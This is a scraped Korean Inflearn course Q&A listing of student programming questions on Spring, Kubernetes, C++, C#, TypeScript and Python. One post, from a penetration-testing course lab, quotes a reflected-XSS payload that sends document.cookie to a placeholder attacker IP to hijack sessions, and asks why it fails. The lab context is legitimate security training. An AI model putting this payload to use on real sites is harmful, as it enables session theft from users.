inflearn logo
강의

강의

N
챌린지

챌린지

멘토링

멘토링

N
클립

클립

로드맵

로드맵

지식공유

묻고 답해요

176만명의 커뮤니티!! 함께 토론해봐요.

fk 설정 문제 재문의

미해결

실전! 스프링 데이터 JPA

답변 감사 했습니다. 제가 의도 했던 질문은 연관관계를 매핑 하는데 있어서 테이블에 fk 정의를 하지 않았을 때 문제가 있는지 여부 였습니다. 아래와 같이 연관 관계 정의는 하였으나, @ManyToOne(fetch = FetchType.LAZY) @JoinColumn(name = "team_id") Member 테이블에서 team_id 에 대한 fk 설정 ( CONSTRAINT member_fk1 FOREIGN KEY (`team_id`)) REFERENCE ~ ) 하지 않아도 무방한 건지 아님 문제가 되는지 궁금 합니다 ~

  • JPA
  • spring
  • spring-boot
  • java
contact 댓글 1 좋아요 0 조회수 315

pip install error

미해결

블렌더 파이썬 BPY 입문강의

pip install 에러요 에러화면입니다. 이것이 import bpy가 안되는 이유일까요?

  • blender
seongeunkm 댓글 1 좋아요 0 조회수 421

LOCAL_CHROME_PATH 경로에 파일이 없어요!

미해결

만들면서 배우는 프론트엔드 DO IT 코딩 (Next.js, Typescript)

안녕하세요! 강의를 보며 따라 하고 있는데요! 강의에서 LOCAL_CHROME_PATH 경로에 해당 파일이 저는 없는데 .. yarn add playwright-core chrome-aws-lambda@6 도 설치하고 강의를 다시 돌려봐도 문제가 없는 것 같은데.. 어디를 확인해 봐야 하는 걸까요?

  • Next.js
760kry@gmail.com 댓글 1 좋아요 0 조회수 381

r/w/x 권한 질문

해결됨

넓고 얕게 외워서 컴공 전공자 되기

입출력 권한에서 read 와 write는 이해가 되는데.. execute는 정확히 무슨 권한일까요. 검색을 해봐도 정확히 이해가 되지 않아(개인적으로는 read와 헷갈리는 것 같습니다) 질문드려봅니다.

  • 운영체제
윤필상 댓글 1 좋아요 2 조회수 437

import bpy 가 안되어요

미해결

블렌더 파이썬 BPY 입문강의

(사진)

  • blender
seongeunkm 댓글 1 좋아요 0 조회수 435

Live server가 동작하지 않습니다

미해결

Vue3 완벽 마스터: 기초부터 실전까지 - "기본편"

원래 잘 사용했었는데 Kite라는것을 어쩌다가 설치했더니 동작하지 않네요 지워도 안되고요 혹시 방법이 있을까요?

  • vuejs
euntaek.oh11 댓글 1 좋아요 0 조회수 247

3dsmax 2017버전 질문드려요.

미해결

3dsmax 모델링 고수의 비밀 [출처] 3dsmax 강좌 / 3D모델링 강좌 (3D modeling Tutorial) | 작성자 목마하임 3dsmax 2017버전 으로 가능한가요..???강의 들어도 되나요..????아니면 2020max버전으로 하는게 좀더 수월하게 배울수 있을까요.???

스윙80 댓글 0 좋아요 0 조회수 114

Environment.Tickcount 오버플로우 질문이에요

미해결

[C#과 유니티로 만드는 MMORPG 게임 개발 시리즈] Part4: 게임 서버

public void Push(Action action, int tickAfter = 0) { JobTimerElem job; job.execTick = System.Environment.TickCount + tickAfter; job.action = action; lock (_lock) { _pq.Push(job); } } public void Flush() { while (true) { int now = System.Environment.TickCount; JobTimerElem job; lock (_lock) { if (_pq.Count == 0) break; job = _pq.Peek(); if (job.execTick > now) break; _pq.Pop(); } job.action.Invoke(); } } 만약 현재 TickCount가 int.maxvalue에 근사한 값이라면 job.execTick이 오버플로우가 일어나 현재 시간보다 무조건 낮기 때문에 바로 실행되는 문제가 있을 것 같습니다. 제 생각이 맞을까요?

  • C#
  • unity
  • network
서태준 댓글 1 좋아요 0 조회수 669

Env(File) terminal로 container root-master에서 kubectl not found 에러

미해결

대세는 쿠버네티스 (초급~중급편)

Env(File) terminal로 container root-master에서 kubectl not found 메세지가 나오는데, master 터미널 모드에서 kubectl을 어떻게 설치 해야 하는지 알려 주시기 바랍니다.

  • docker
  • kubernetes
ohwhy 댓글 1 좋아요 1 조회수 331

@RequestParam("name")

해결됨

스프링 입문 - 코드로 배우는 스프링 부트, 웹 MVC, DB 접근 기술

학습하는 분들께 도움이 되고, 더 좋은 답변을 드릴 수 있도록 질문전에 다음을 꼭 확인해주세요. 1. 강의 내용과 관련된 질문을 남겨주세요. 2. 인프런의 질문 게시판과 자주 하는 질문(링크)을 먼저 확인해주세요. (자주 하는 질문 링크: https://bit.ly/3fX6ygx) 3. 질문 잘하기 메뉴얼(링크)을 먼저 읽어주세요. (질문 잘하기 메뉴얼 링크: https://bit.ly/2UfeqCG) 질문 시에는 위 내용은 삭제하고 다음 내용을 남겨주세요. ========================================= [질문 템플릿] 1. 강의 내용과 관련된 질문인가요? (예/아니오) 2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? (예/아니오) 3. 질문 잘하기 메뉴얼을 읽어보셨나요? (예/아니오) [질문 내용] 여기에 질문 내용을 남겨주세요. MVC 강의를 듣다가 궁금한 부분이 생겨서 질문남깁니다. public String helloMvc(@RequestParam("name") String name, Model model) 에서 @RequestParam("name")를 없애고 서버를 켰습니다. 그랫더니 이렇게 화면이 나오는데요. @RequestParam("name")가 없어도 파라미터를 잘 넘겨받는 것 처럼 보이는데, 이게 왜 필요한 건가요? 단순히 requried=true를 강제하기 위해 사용하는 건가요?

  • mvc
  • spring
  • spring-boot
  • MVC
  • java
Song HyungSeon 댓글 1 좋아요 3 조회수 709

첫페이지 크롤링 실행이 안됩니다.

미해결

[신규 개정판] 이것이 진짜 크롤링이다 - 실전편 (인공지능 수익화)

import requests from bs4 import BeautifulSoup main_url = "https://www.coupang.com/np/search?q=%EA%B2%8C%EC%9D%B4%EB%B0%8D%20%EB%A7%88%EC%9A%B0%EC%8A%A4&channel=recent" # 헤더에 User-Agent를 추가하지 않으면 오류가 남 response = requests.get(main_url,headers={'User-Agent' : 'Mozila/5.0'}) html = response.text soup = BeautifulSoup(html,'html.parser') links = soup.select("a.search-product-link") # select의 결과는 리스트 자료형(여러개) print(links)

  • 웹-크롤링
  • python
kkk222 댓글 1 좋아요 1 조회수 282

[실습6-3] REFLECTED XSS를 통한 세션 하이재킹 공격 실습 공격 실패

미해결

모의해킹 실무자가 알려주는, XSS 공격 기법

<script>new image().src=' ">http://제아이피/xss_attack/session.php?data='+document.cookie</script> location.href 스크립트는 성공했는데 했는데 new image().src는 세션값이 안넘어 옵니다... 혹시 자바1.8.0버전과 관련있을까요??

  • 모의해킹
꾸해 댓글 2 좋아요 1 조회수 713

find_if와 같이 함수 객체를 인자로 넣는 곳 질문 있습니다

미해결

[C++과 언리얼로 만드는 MMORPG 게임 개발 시리즈] Part1: C++ 프로그래밍 입문

class와 struct는 차이가 거의 없다고 하셨는데 find_if(v.begin(), v.end(), CanDivideBy11()); 와 같이 함수 객체를 인자로 넣는 부분에서 만약 struct가 아니고 class를 사용한다면 생성자를 넣는 문법이랑 똑같은거 아닌가요? struct가 아닌 class를 사용한다면 생성자가 아닌 연산자 오버로딩을 통한 함수 객체를 부르는 것이라고 어떻게 구분해야 하나요?

  • C++
근면한 복어 댓글 1 좋아요 0 조회수 301

의사결정나무 강의 관련 질문

미해결

[개정판] 파이썬 머신러닝 완벽 가이드

안녕하세요 선생님 의사결정나무를 배우고 한번 다른 데이터에서도 실습을 해보고 싶어서 해보는데 오류가 나와서 질문이 있습니다 iris_data 같은 경우는 변수의 속성들이 연속형변수인데 변수들이 만약에 알파벳같이 string 타입이면 분류가 불가능한가요? 오류가 나서 질문드립니다

  • 머신러닝 배워볼래요?
  • 통계
  • python
엽강통강 댓글 1 좋아요 0 조회수 270

안녕하세요

미해결

프로그래밍 시작하기 : 파이썬 입문 (Inflearn Original)

안녕하세요 강의자료 요청드립니다!! kiby1039@hanmail.net 감사합니다!!

  • python
억만장자 댓글 1 좋아요 0 조회수 246

Window Host에 SSH Connection Refused

미해결

Jenkins를 이용한 CI/CD Pipeline 구축

비슷한 질문이 있는것 같은데..답이 확인되지 않아 재 문의드립니다. Windows10 기반에 도커데스크탑 설치해서 수업듣고 있는데요. Ansible 에서 kubernetes 제어하기 강의 관련, Ansible Container에서 Window Host로 SSH 접속시 계속 Connection Error 가 발생합니다. [root@ab43a5323c31 ~]# ssh xx@172.30.1.86 ssh: connect to host 172.30.1.86 port 22: Connection refused window에 ssh 허용을 위한 추가 설정 같은게 필요할것 같은데..검색해도 잘 안나와서 문의드려봅니다.

  • kubernetes
  • jenkins
  • ansible
  • cicd
  • sonarqube
도쿄까지 댓글 2 좋아요 0 조회수 2773

Buffer overrun 관련해서 질문드립니다!

해결됨

홍정모의 따라하며 배우는 C++

안녕하세요! 항상 양질의 강의와 질문 커뮤니티 덕분에 많이 배우고 있습니다! 강의에 나온 클래스를 직접 구현해봤는데요, 생성자 코드에서 m_data element를 초기화하는 과정에서 buffer overrun이 발생합니다. IntArray(const initializer_list<int>& list) //: IntArray(list.size()) { m_data = new int[list.size()]; m_length = list.size(); initialize(); int count = 0; for (auto& e : list) { m_data[count] = e; // buffer overrun 발생 count++; } } 그래서 다른 분의 코드를 참고하여 다음과 같이 수정하였습니다. IntArray(const initializer_list<int>& list) : IntArray(list.size()) { /*m_data = new int[list.size()]; m_length = list.size(); initialize();*/ int count = 0; for (auto& e : list) { m_data[count] = e; // buffer overrun 발생 count++; } } 수정 후 buffer overrun이 사라졌는데 debugger를 돌려도 똑같이 작동하는 거 같아 어디서 잘못됐는지 찾기가 어렵습니다ㅠㅠ 그 이유를 알고싶습니다,, 아래는 전체 코드입니다. #include <iostream> #include <initializer_list> using namespace std; class IntArray { private: int m_length = 0; int* m_data = nullptr; public: IntArray(const int& length_in = 0) : m_length(length_in) { m_data = new int[m_length]; initialize(); } IntArray(const IntArray& arr) : IntArray(arr.m_length) {} IntArray(const initializer_list<int>& list) //: IntArray(list.size()) { m_data = new int[list.size()]; m_length = list.size(); initialize(); int count = 0; for (auto& e : list) { m_data[count++] = e; // buffer overrun 발생 } } ~IntArray() { delete[] m_data; } void initialize() { for (int i = 0; i < m_length; i++) m_data[i] = 0; } void reset() { delete[] m_data; m_data = nullptr; m_length = 0; } void resize(const int& new_length) { int* temp = new int[new_length]; for (int i = 0; i < (new_length < m_length ? new_length : m_length); i++) temp[i] = m_data[i]; delete[] m_data; m_length = new_length; m_data = temp; } void insertBefore(const int& value, const int& ix) { if (ix >= 0 && ix < m_length) { resize(m_length + 1); for (int i = m_length - 1; i > ix; i--) m_data[i] = m_data[i - 1]; m_data[ix] = value; } else cout << "Invalid index" << endl; } void remove(const int& ix) { if (ix >= 0 && ix < m_length) { for (int i = ix; i < m_length - 1; i++) m_data[i] = m_data[i + 1]; resize(m_length - 1); } else cout << "Invalid index." << endl; } void push_back(const int& value) { resize(m_length + 1); m_data[m_length - 1] = value; } IntArray& operator = (const std::initializer_list<int>& list) { resize(list.size()); int count = 0; for (auto& e : list) { m_data[count] = e; count++; } return *this; } IntArray& operator = (const IntArray& arr) { if (this == &arr) return *this; delete[] m_data; m_length = arr.m_length; if (arr.m_data != nullptr) { m_data = new int[arr.m_length]; for (int i = 0; i < arr.m_length; i++) m_data[i] = arr.m_data[i]; } else m_data = nullptr; return *this; } friend ostream& operator << (ostream& out, const IntArray& arr) { for (int i = 0; i < arr.m_length; i++) out << arr.m_data[i] << " "; return out; } }; int main() { IntArray my_arr{ 1, 3, 5, 7, 9 }; cout << my_arr << endl; my_arr.insertBefore(10, 1); cout << my_arr << endl; my_arr.remove(3); cout << my_arr << endl; my_arr.push_back(13); cout << my_arr << endl; // containter : ~가 ~의 member다. return 0; }

  • C++
skf346 댓글 2 좋아요 0 조회수 575

custom filter 메서드 구현부분에 궁금점이 생겨 질문드립니다

미해결

[리뉴얼] 타입스크립트 올인원 : Part1. 기본 문법편

interface customArray<T>{ filter<S extends T>(callback:(v:T, index: number, array:T[]) => v is S): S[] } const sample1: customArray<string> = ["1", "2"] const value = sample1.filter((value, index): value is string => Number(value) > 1) 강의에서 구현하신 custom filter는 custom type guard 로 별도 리턴 분기처리를 하지않았는데 어떻게 true 케이스들만 필터링 할수 있는지 궁금합니다. 저의 개인적인 생각은 callback의 반환값으로 value is string 를 반환하는데 위의 케이스를 바탕으로 value는 string 형식이기 때문에 true 가 됩니다 때문에 callback 메서드 수행시 false 반환값은 무시되고 true 반환값들만 리턴된다라고 추측이되는데 이 추측이 맞는지 궁금합니다

  • typescript
지혜 댓글 1 좋아요 0 조회수 199

인기 태그

인프런 TOP Writers

주간 인기글